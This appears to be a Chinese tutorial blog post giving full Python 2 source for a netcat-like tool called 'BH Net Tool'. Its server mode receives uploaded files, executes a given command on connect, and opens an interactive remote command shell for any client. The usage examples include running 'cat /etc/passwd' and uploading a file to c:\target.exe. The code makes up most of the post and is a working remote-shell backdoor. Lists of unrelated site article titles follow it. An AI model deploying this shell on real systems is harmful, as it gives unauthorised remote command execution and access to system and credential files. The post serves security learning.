【Python】Part1 应用1-Netcat
2024-08-26 02:01:39
01 简介
netcat的主要功能是通过tcp或udp协议传输读写数据。
下面代码用python编写了tcp客户端,服务端,从而实现上传文件,本地执行命令,反弹shell三种功能。
02 代码
import sys
import socket
import getopt
import threading
import subprocess listen = False #judge flag: client or server
target = "" #client: target_host(default = localhost), target_port
port = 0
upload = False #server: 3 functions of server
upload_destination = ""
execute = ""
command = False #-------------------------------------------------------------------------------------------client: target_host, target_port
def client_sender(buffer):
print '=========client on ======'
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #c-1 socket try:
client.connect((target,port)) #c-2 connect if len(buffer):
client.send(buffer) while True: #c-3 loop = handle; handle = send + recv
recv_len = 1
response = "" #get response from server while recv_len:
data = client.recv(4096)
recv_len = len(data)
response = response + data if recv_len < 4096:
break print response, buffer = raw_input("")
buffer = buffer + "\n"
client.send(buffer) except:
print "[*] Exception ! Exiting."
client.close() #-------------------------------------------------------------------------------------------server:
def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command.\r\n" return output def client_handle(client_socket):
global upload
global execute
global command if len(upload_destination): #type1 upload
file_buffer = "" while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer = file_buffer + data try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close() client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination) if len(execute): #type2 execute(local)
print execute
output = run_command(execute) client_socket.send(output) if command: #type3 command(remote)
while True:
client_socket.send("<BHP:#> ")
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024) response = run_command(cmd_buffer)
client_socket.send(response) def server_loop():
print '=========server on ======'
global target
global port if not len(target):
target = "0.0.0.0" server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #s-1 socket server.bind((target,port)) #s-2 bind server.listen(5) #s-3 listen while True: #s-4 loop = accept + thread(handle) + start ; handle = recv + send
client_socket,addr = server.accept()
client_thread = threading.Thread(target=client_handle,args=(client_socket,))
client_thread.start() #-------------------------------------------------------------------------------------------main
def usage():
print "BH Net Tooll"
print "Usage: bhnet.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receving a connection"
print "-c --command -initialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print "Examples:"
print "bhnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"
sys.exit(0) def main():
global listen
global execute
global command
global upload_destination
global upload
global target
global port if not len(sys.argv[1:]): #1 parse args
usage() try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage() for o,a in opts:
print "opts:" + o + " args:" + a
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option" if not listen and len(target) and port > 0: #as a client
buffer = sys.stdin.read()
client_sender(buffer) if listen: #as a server
server_loop() main()
最新文章
- 教你如何快速下载旧版本的Firefox浏览器
- Eclipse环境下使用Maven注意事项
- POJ2407 Relatives(欧拉函数)
- 个人分享:平时开发中感觉几款不错 IDE 、插件、工具
- Oracle 递归函数与拼接
- 存储过程为什么比sql效率高
- cinder
- linux系统下安装apache与tomcat
- SSAS 发布报错处理方法 Login failed for user &#39;NT Service\MSSQLServerOLAPService&#39; 28000
- Windows Phone开发(30):图形
- fastjson过滤不需要的属性
- Requests抓取有道翻译结果
- Struts2第六篇【文件上传和下载】
- 使用docker 部署rabbitmq 镜像
- Peer-to-Peer (P2P) communication across middleboxes
- IOP知识点(4)
- Testbench结构篇
- POJ 1157
- JavaWeb get请求乱码处理
- 【Visual Studio】切换版本控制工具插件
热门文章
- 取代iframe,实现页面中引入别的页面
- sehll 小脚本的编写{基础}
- 58 字体反爬攻略 python3
- es6 class中责任链模式与AOP结合
- Linux操作系统中系统调用接口
- java.lang.IllegalStateException: getWriter() has already been called for this response
- day17
- Vue-admin工作整理(十九):从数字渐变组件谈第三方JS库Count-to的使用
- Vue小项目二手书商城:(一)准备工作、组件和路由
- Shiro框架配置-applicationContext里面的(仅提供借鉴)